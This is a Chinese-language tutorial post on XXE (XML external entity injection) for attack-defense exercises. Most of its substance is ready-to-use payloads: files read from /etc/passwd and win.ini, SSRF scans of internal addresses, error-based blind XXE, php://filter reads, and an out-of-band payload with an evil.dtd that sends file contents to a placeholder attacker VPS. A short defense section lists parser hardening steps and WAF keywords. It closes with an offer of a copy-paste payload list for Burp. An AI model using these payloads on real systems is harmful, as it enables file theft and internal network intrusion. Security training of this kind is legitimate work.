XXE 外部实体注入:读文件与打内网的原理
admin
2026-10-27 08:21
117人看过
免费
# XXE 外部实体注入|网络攻防演练实战版
核心定位:**XML解析器支持外部实体引用,攻击者提交恶意XML,让服务器以自身身份读取本地文件、发起内网请求(SSRF)**,红蓝对抗高频漏洞。
> 区分:
> - 内部实体:文档内定义
> - 外部实体:`SYSTEM` 关键字,支持 `file://` / `http://` / `ftp://` 等协议
## 一、漏洞触发前提(实战排查第一步)
1. 后端接口接收**用户可控XML**(Content-Type: application/xml)
2. XML解析库**启用了外部实体/DTD解析**
3. 服务器进程有权限读取本地文件、访问内网
> 现代库默认关闭外部实体:Java(SAX/DOM)、PHP libxml新版、Python lxml新版默认安全;老版本/错误配置才会触发。
## 二、场景1:有回显XXE,读取本地文件
### Payload(Linux)
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY content SYSTEM "file:///etc/passwd">
]>
<user>
<name>&content;</name>
</user>
```
### 执行流程
1. 把上面XML POST提交到目标接口
2. 解析器读到 `DOCTYPE`,发现外部实体 `&content;`
3. 通过`file://`协议读取服务器本地文件
4. 文件内容替换实体,在HTTP响应中直接返回内容
Windows读取示例:
```xml
<!ENTITY content SYSTEM "file://C:/Windows/win.ini">
```
### 实战坑点
- 如果文件内容包含XML特殊字符 `< > & " '`,XML解析报错,无法直接回显。
✅ 解决:**CDATA封装绕过**(构造实体把文件内容塞进CDATA)
```xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<![CDATA[%file;]]>">
]>
<root>&wrap;</root>
```
## 三、场景2:XXE打内网(本质:利用XML解析器发起SSRF)
`SYSTEM`支持http协议,**由目标服务器主动发起请求访问内网**,用于内网端口探测、访问内网web服务。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY net SYSTEM "http://127.0.0.1:8080/">
]>
<test>&net;</test>
```
### 实战用法
1. 遍历内网网段 `http://192.168.1.1:80`、`http://192.168.1.2:3306` 做端口扫描
2. 访问内网未授权Web管理接口,读取内网服务页面内容
> 限制:很多环境有网络策略,服务器不能出网,但内网互通。
## 四、场景3:盲XXE(无回显,OOB带外注入,红队最常用)
现象:页面没有任何实体内容回显,直接返回固定提示,无法直接拿到文件内容。
思路:**把读取的文件内容,外带传输到攻击者自己的VPS(带外OOB)**。
> 需要两台资源:目标服务器 + 攻击者VPS(托管恶意dtd文件)
1. 提交给目标的XML:
```xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://你的VPSIP/evil.dtd">
%remote;
]>
<root></root>
```
2. VPS上 `evil.dtd` 内容:
```xml
<!ENTITY % out "<!ENTITY send SYSTEM 'http://你的VPSIP/collect?data=%file;'>">
%out;
```
3. 解析流程:
目标加载VPS上的evil.dtd → 读取本地文件 → 将文件内容作为http请求参数,**主动访问攻击者VPS**
4. 在VPS搭建简易web服务,接收GET请求,日志拿到文件内容。
> 实战坑:部分环境禁止服务器主动对外出网,OOB失效,此时只能用报错型盲XXE(报错回显)。
### 报错盲XXE(OOB出网被禁时使用)
利用XML解析报错,把文件内容放到报错信息返回。
```xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % err "<!ENTITY send SYSTEM 'file:///fakefile/%file;'>">
%err;
]>
<root>&send;</root>
```
解析找不到fakefile,抛出异常,异常信息附带读取到的文件内容。
## 五、协议支持(红队重点)
- `file://`:本地文件读取,最常用
- `http:// https://`:发起网络请求(内网探测SSRF)
- `php://filter`:PHP环境下,读取文件并base64编码(经典)
```xml
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
```
## 六、蓝队防御(防守演练)
1. **关闭DTD文档类型定义,禁用外部实体**(最优方案)
- PHP:`libxml_disable_entity_loader(true);`
- Java:禁用DOCTYPE,关闭外部DTD、外部实体解析
- Python lxml:默认关闭外部实体,不要手动开启
2. 输入检测:WAF拦截`<!DOCTYPE`、`<!ENTITY`、`SYSTEM`等XXE特征
3. 最小权限运行Web服务账号,限制可读取文件范围
4. 网络侧:限制Web服务器访问内网、禁止服务器主动对外发起出站请求(缓解SSRF)
## 七、红队实战排查步骤
1. 抓包,修改请求body为XML,修改Content-Type为`application/xml`
2. 提交简单测试payload:`<?xml version="1.0"?><test>123</test>`,确认接口解析XML
3. 测试payload:
```xml
<?xml version="1.0"?>
<!DOCTYPE x [<!ENTITY test "hello">]>
<x>&test;</x>
```
页面返回hello,说明DTD可用,继续测试外部实体。
4. 先试file读文件,无回显再上OOB盲XXE。
## 八、易混区分(攻防演练经常踩坑)
- XXE:XML解析阶段触发,可读本地文件 + 发起内网请求(属于SSRF其中一类实现)
- SSRF:大类,服务器发起请求;XXE只是SSRF的一种触发方式,其他如图片地址、http请求参数也能触发SSRF
- SSTI:模板引擎解析用户输入,直接代码执行,和XML无关
需要我给你整理**XXE实战payload清单(带回显、报错盲注、OOB、phpfilter)**,直接复制丢burp用吗?
版权声明:倡导尊重与保护知识产权。未经许可,任何人不得复制、转载或以其他方式使用本站原创内容。